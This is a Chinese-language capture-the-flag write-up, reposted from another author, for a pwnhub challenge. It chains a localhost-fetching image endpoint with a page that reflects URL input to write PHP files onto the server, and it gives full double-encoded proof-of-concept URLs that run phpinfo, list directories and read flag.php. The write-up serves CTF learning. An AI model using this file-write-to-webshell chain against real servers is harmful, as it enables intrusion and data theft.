胖哈勃外传第一集

Author Avatar
Geroge Lee 12月 15, 2016
  • 在其它设备中阅读本文章

pwnhub--胖哈勃外传第一集wp

首先看看网站。在首页的源码里面有这样一部分很奇怪

1
<script src="http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg"></script>

访问下,说是logo.jpg更新成功。

试了几下,发现以下几点

1、首先这个链接是访问file指向的链接,并将返回的内容写到path指向的文件

2、file指向的连接必须是127.0.0.1的,不太好绕过

3、path可以是.PHP后缀的文件,但是过滤的尖括号,没有办法二次访问直接webshell。

<!--more-->

综上思路就是想办法在本站下找一个地方可以写webshell的,然后通过这个image.php直接写webshell。

但是刚才说了没有办法二次访问image.php直接写webshell。

所以还要另外找地方。

然后发现这个地方http://54.223.231.220/?date/2016-07/

日期被直接打印出来了,那么我们试试,果然这里可以打印链接上的内容,所以构造poc如下:(注意要二次url编码)

1
http://54.223.231.220/image.php?file=http%3A%2f%2f127.0.0.1%3A8888%2f%3Fdate%2f2016-07%253C%253Fphp%2520%2520phpinfo%2528%2529%253B%2520%253F%253E%2f&path=LED.php

访问http://54.223.231.220/LED.php,截图如下:

成功了,那么看看被禁用的函数:

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,fopen,fread,fwrite,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen,assert

几乎所有执行命令的函数都被禁用了。

那么先用glob遍历下目录吧

1
http://54.223.231.220/image.php?file=http%3A%2f%2f127.0.0.1%3A8888%2f%3Fdate%2f2016-07%253C%253Fphp%2520%2520foreach%2528glob%2528%2522.%252f%252a%2522%2529%2520as%2520%2524bdw%2529%257B%2520%2520echo%2520%2524bdw.%2522%253Cbr%253E%2522%253B%2520%257D%253F%253E%2f&path=LED.php

访问截图如下:

发现一个flag.php,直接读取内容看看,poc如下:

1
http://54.223.231.220/image.php?file=http%3A%2f%2f127.0.0.1%3A8888%2f%3Fdate%2f2016-07%253C%253Fphp%2520%2520echo%2520file_get_contents%2528%2527flag.php%2527%2529%253B%253F%253E%2f&path=LED.php

截图如下,拿到flag

ps:转载于大牛bendawang blog地址